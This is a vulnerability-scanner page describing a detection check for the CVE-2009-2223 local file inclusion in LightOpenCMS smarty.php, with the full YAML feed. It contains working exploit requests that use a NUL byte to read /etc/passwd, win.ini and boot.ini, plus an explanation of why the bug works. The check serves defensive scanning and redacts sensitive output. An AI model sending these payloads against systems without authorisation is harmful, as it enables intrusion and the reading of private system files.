LightOpenCMS — 1 vulnerability check

noctis ships 1 vulnerability check for LightOpenCMS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

LightOpenCMS smarty.php cwd Local File Inclusion

CVECVE-2009-2223
Severitycritical · CVSS 9.3
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/lightopencms/CVE-2009-2223.yaml

Tests LightOpenCMS 0.1 for the local file inclusion in smarty.php, reachable when PHP register_globals is enabled and magic_quotes_gpc is disabled. The feed requests smarty.php with the cwd parameter set to /etc/passwd followed by a NUL byte (%00), or to c:/windows/win.ini and c:/boot.ini on Windows, under the web root and the usual /locms, /cms and /lightopencms install paths. The NUL byte cuts off the Smarty library path that smarty.php appends, so the page includes the chosen file, and its content in the reply confirms the inclusion. A control request for an absent random file must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read; root's password field is redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/smarty.php?cwd=/etc/passwd%00
  2. Checks passwd_r.body for (?m)^root:[^:\r\n]*:0:[01]:([^:\r\n]*:[^:\r\n]*:[^:\r\n]*)\r?$
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/smarty.php?cwd=c:/windows/win.ini%00
  5. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  6. HTTP(S) request GET {{dir}}/smarty.php?cwd=c:/boot.ini%00
  7. Checks bootini_r.body for (?i)\[boot loader\]
  8. HTTP(S) request GET {{dir}}/smarty.php?cwd=/etc/passwd.win.ini.boot.ini.noctis-absent-{{oob_token}}%00
  9. Checks ctrl_r.body for (?mi)(^root:[^:\r\n]*:0:[01]:|; for 16-bit app support|\[fonts\]|\[bo…
  10. Checks lin_proof for ^root:<redacted>:0:0: → finding QoD 75: LightOpenCMS smarty.php cwd Local File Inclusion (CVE-2009-2223)
  11. Checks win_file for ^c:/(windows/win\.ini|boot\.ini)$ → finding QoD 75: LightOpenCMS smarty.php cwd Local File Inclusion (CVE-2009-2223)

References:

Feed source — tests/vulnerabilities/lightopencms/CVE-2009-2223.yaml
# LightOpenCMS smarty.php cwd local file inclusion — CVE-2009-2223
#
# LightOpenCMS 0.1 (pre-alpha) locms/smarty.php does
#     define("SMARTY_DIR", $cwd."/smarty/");
#     require_once(SMARTY_DIR."/Smarty.class.php");
# without ever setting $cwd. With PHP register_globals enabled the request
# parameter cwd controls that path, and on PHP < 5.3.4 with magic_quotes_gpc
# off (On escapes the NUL to "\0") a "%00" cuts the
# appended "/smarty//Smarty.class.php" off, so require_once() includes (and
# executes) any local file the web server can read. The product was never
# fixed; it is exploitable wherever register_globals is on, magic_quotes_gpc
# is off and PHP accepts NUL bytes in paths.
#
# Detection (benign, read-only): GET
#   <dir>/smarty.php?cwd=/etc/passwd%00
# and match the file CONTENT (root:...:0:[01]:) in the reply; on Windows
# installs, c:/windows/win.ini then c:/boot.ini ("[fonts]",
# "; for 16-bit app support", "[boot loader]"). QoD 75 (response analysis).
# A plain text file holds no PHP code, so require_once() only prints it.
# "%00" sits in the query string, which http_request sends verbatim.
#
# Improvements over the source NASL:
#   - The NASL only tries "/" and "/cms", but the product (and the public
#     exploit, exploit-db 9015) installs under /locms — the feed also tries
#     /locms and /lightopencms.
#   - The NASL first requires smarty.php to answer 200 on its own; that page
#     dies on a missing Smarty class, which PHP >= 5.2.4 reports as a 500 when
#     display_errors is off, so the NASL skips such hosts. The feed sends the
#     exploit request directly and ignores the status code.
#   - The NASL climbs nine "../" to reach the file; the feed passes absolute
#     paths (cwd is the whole include prefix), which work at any install depth.
#     On Windows it sends drive-qualified c:/windows/win.ini and c:/boot.ini.
#   - A control request (same parameter, absent random file) must come back
#     WITHOUT any file signature; a server that returns the same file on every
#     request is therefore not reported (fail-closed: no control reply → no
#     finding). The absent name contains etc/passwd, win.ini and boot.ini, so
#     a honeypot keying a fake file on those substrings is caught too.
#   - root's password field from /etc/passwd is redacted before it can reach
#     the finding (only gecos:home:shell are kept).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_LightOpenCMS_35497.nasl
# (GPL-2.0-only). Public exploit: exploit-db 9015 (BID 35497).
uid: 04cab74d-ecaf-4180-b62b-e5106daf4d20
name: "LightOpenCMS smarty.php cwd Local File Inclusion (CVE-2009-2223)"
description: |
  Tests LightOpenCMS 0.1 for the local file inclusion in smarty.php, reachable
  when PHP register_globals is enabled and magic_quotes_gpc is disabled. The feed requests smarty.php with the
  cwd parameter set to /etc/passwd followed by a NUL byte (%00), or to
  c:/windows/win.ini and c:/boot.ini on Windows, under the web root and the
  usual /locms, /cms and /lightopencms install paths. The NUL byte cuts off
  the Smarty library path that smarty.php appends, so the page includes the
  chosen file, and its content in the reply confirms the inclusion. A control
  request for an absent random file must not return any of these files, so a
  server that serves the same content on every request is not reported. Only
  world-readable system files are read; root's password field is redacted
  from the evidence.
cves: [CVE-2009-2223]
cvss: 9.3
severity: critical
category: file-read
confidence_base: 0.30
tags: [lightopencms, lfi, file-inclusion, file-read, register-globals, null-byte, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-2223"
  - "https://www.exploit-db.com/exploits/9015"
  - "http://www.securityfocus.com/bid/35497"
  # OpenVAS/Greenbone NASL 2010/gb_LightOpenCMS_35497.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per install dir. Each pass
  # resets the values it reads, so nothing is left over from the previous dir.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/locms", "/cms", "/lightopencms"]

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/smarty.php?cwd=/etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body (root's password field) must not become evidence.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)^root:[^:\\r\\n]*:0:[01]:([^:\\r\\n]*:[^:\\r\\n]*:[^:\\r\\n]*)\\r?$"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 0 {
        "root:<redacted>:0:0:" + passwd_m.captures[0]
      } else { "" }
    store_as: lin_proof

  # ── Windows: c:/windows/win.ini, then c:/boot.ini (older Windows) ────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/smarty.php?cwd=c:/windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && passwd_r.status != 0'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && passwd_r.status != 0'
    on_match:
      set_vars:
        win_file: "c:/windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{dir}}/smarty.php?cwd=c:/boot.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0'
    on_match:
      set_vars:
        win_file: "c:/boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent name still contains etc/passwd, win.ini and boot.ini, so a
  # honeypot that keys a fake file on those substrings answers it too.
  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/smarty.php?cwd=/etc/passwd.win.ini.boot.ini.noctis-absent-{{oob_token}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)(^root:[^:\\r\\n]*:0:[01]:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^root:<redacted>:0:0:"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "LightOpenCMS smarty.php cwd Local File Inclusion (CVE-2009-2223)"
        description: "An unauthenticated request to smarty.php with cwd=/etc/passwd%00 returned the content of /etc/passwd, which the page included in place of the Smarty library, while the same request for an absent file did not."
        remediation: "Remove LightOpenCMS (0.1 pre-alpha, unmaintained) from the server, or at least disable PHP register_globals and run a PHP release that rejects NUL bytes in file paths (5.3.4 or later)."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/smarty.php?cwd=/etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^c:/(windows/win\\.ini|boot\\.ini)$"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "LightOpenCMS smarty.php cwd Local File Inclusion (CVE-2009-2223)"
        description: "An unauthenticated request to smarty.php with cwd pointing at a Windows system file followed by %00 returned that file's content, which the page included in place of the Smarty library, while the same request for an absent file did not."
        remediation: "Remove LightOpenCMS (0.1 pre-alpha, unmaintained) from the server, or at least disable PHP register_globals and run a PHP release that rejects NUL bytes in file paths (5.3.4 or later)."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/smarty.php?cwd={{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub